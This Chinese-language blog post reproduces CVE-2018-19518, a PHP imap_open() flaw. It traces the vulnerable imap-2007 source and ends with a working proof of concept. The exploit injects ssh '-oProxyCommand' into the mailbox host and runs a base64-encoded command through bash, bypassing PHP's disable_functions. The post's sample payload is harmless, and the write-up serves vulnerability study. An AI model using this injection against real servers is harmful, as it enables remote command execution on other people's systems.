Xi4or0uji's blog

imap_open()实现远程任意代码执行(CVE-2018-19518)

字数统计: 1k阅读时长: 4 min
2019/03/01 Share

这个漏洞是在做题的时候看到的,顺便复现一下,漏洞影响版本有ubuntu、debian、redhat和suse

简单介绍

这个漏洞因为imap_open函数在传递邮箱名给ssh之前没有正确过滤邮箱名,导致攻击者可以利用-oProxyCommand参数向IMAP服务器发起命令执行恶意代码

复现

装环境

1
apt updata && apt install -y nano php php-imap

接着安装ssh和strace

1
2
apt install -y ssh
apt install -y strace

接着加一点安全配置,增加php的安全性

1
2
3
echo ‘; priority=99’ > /etc/php/7.0/mods-available/disablefns.ini
echo ‘disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source’ >> /etc/php/7.0/mods-available/disablefns.ini
phpenmod disablefns

imap

顺便了解一下imap,imap其实就是一个管理电子邮件的东西,允许多个电子邮件客户端对电子邮件收件箱进行完全的管理
调用语法

1
imap_open($mailbox, $username, $password [, $option = 0 [, $n_retries = 0 [, $params = []]]]);

如果要自定义连接的服务器使用的mailbox参数定义如下

1
{[host]}:[port][flags]}[mailbox_name]

示例

1
imap_open(“{mail.domain.com}:143/imap/notls}”, “user”, “passwd”)

rsh

rsh直到现在依旧使用,我们可以看一下下面这张图

漏洞细节

查看imap2007库的源码可以看到有个tcp_aopen函数
/imap-2007f/src/osdep/unix/tcp_unix.c

1
2
3
4
TCPSTREAM *tcp_aopen (NETMBX *mb,char *service,char *usrbuf)
{
......
}

接着检查ssh和rsh路径的定义
/imap-2007f/src/osdep/unix/tcp_unix.c

1
2
3
4
5
6
#ifdef SSHPATH			/* ssh path defined yet? */
if (!sshpath) sshpath = cpystr (SSHPATH);
#endif
#ifdef RSHPATH /* rsh path defined yet? */
if (!rshpath) rshpath = cpystr (RSHPATH);
#endif

可以看到,如果sshpath没有被定义,那就会定义rshpath,接下来我们去找sshpath的定义
先看h文件的默认路径
/imap-2007f/src/osdep/unix/env_unix.h

1
#define SYSCONFIG "/etc/c-client.cf"

/imap-2007f/src/osdep/unix/env_unix.c

1
2
3
4
5
void dorc (char *file,long flag)
{
......
else if (!compare_cstring (s,"set ssh-path"))
mail_parameters (NIL,SET_SSHPATH,(void *) k);

可以看到默认情况下它是空的,但是我们也没有权限去修改,因为是etc文件,既然etc文件不可写,那我们可以考虑一下rshpath能不能改我们控制
/imap-2007f/src/osdep/unix/Makefile

1
2
slx:	# Secure Linux
RSHPATH=/usr/bin/rsh \

最后是执行情况
/imap-2007f/src/osdep/unix/tcp_unix.c

1
2
3
4
5
6
7
8
9
10
11
12
if (*service == '*') {	/* want ssh? */
/* return immediately if ssh disabled */
if (!(sshpath && (ti = sshtimeout))) return NIL;
/* ssh command prototype defined yet? */
if (!sshcommand) sshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
}
/* want rsh? */
else if (rshpath && (ti = rshtimeout)) {
/* rsh command prototype defined yet? */
if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
}
else return NIL; /* rsh disabled */

可以看到他会生成一个在远程服务器上执行rimapd文件二进制的命令
尝试一下测试一下
test1.php

1
imap_open('{localhost}:143/imap}INBOX', '', '');

然后利用strace工具去观察脚本的执行过程(这里肉鸡环境imap开不起来,只能借大佬的图一用了

通过execve过程可以看到localhost也作为了执行参数,因此尝试在操作服务器地址的同时加入命令行
在ssh文件中,有-o这样的选项,通过这一个选项,我们就可以在命令行中加入任意指令了

具体利用方向如下

1
2
3
$ubuntu: ssh -oProxyCommand=”echo hello|tee /tmp/executed” localhost
$ubuntu: cat /tmp/executed
$ hello

这样子确实可以进行命令执行,但是写在服务器地址的时候,空格和斜杠都会被转义掉,因此要用$IFS和\t去绕过

1
ssh -oProxyCommand=”echo hello|tee (\t这里是tab符) /tmp/executed” localhost

当然也可以利用base64编码,同样也是能进行命令执行的

1
2
3
4
#先对命令行进行base64编码
$ubuntu: echoecho hello|tee /tmp/executed”|base64
#得到编码后的命令ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=就能进行利用了
$ubuntu: ssh -oProxyCommand=”echo ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|ba se64 -d|bash” localhost

完整调用过程
test2.php

1
2
3
4
$payload = “echo hello|tee /tmp/executed”;
$encoded_payload = ba se64_encode($payload);
$server = “any -o ProxyCommand=echo\t”.$encoded_payload.”|ba se64\t-d|bash”;
@imap_open(‘{‘.$server.’}:143/imap}INBOX’, ‘’, ‘’);

将我们上面做的过程直接写进一个php文件观察他的调用过程

通过strace的追踪,我们最终发现我们注入的命令都是由系统库去执行的,这谁拦得住啊……..

参考

https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb

CATALOG
  1. 1. 简单介绍
  2. 2. 复现
    1. 2.1. 装环境
    2. 2.2. imap
    3. 2.3. rsh
    4. 2.4. 漏洞细节
    5. 2.5. 参考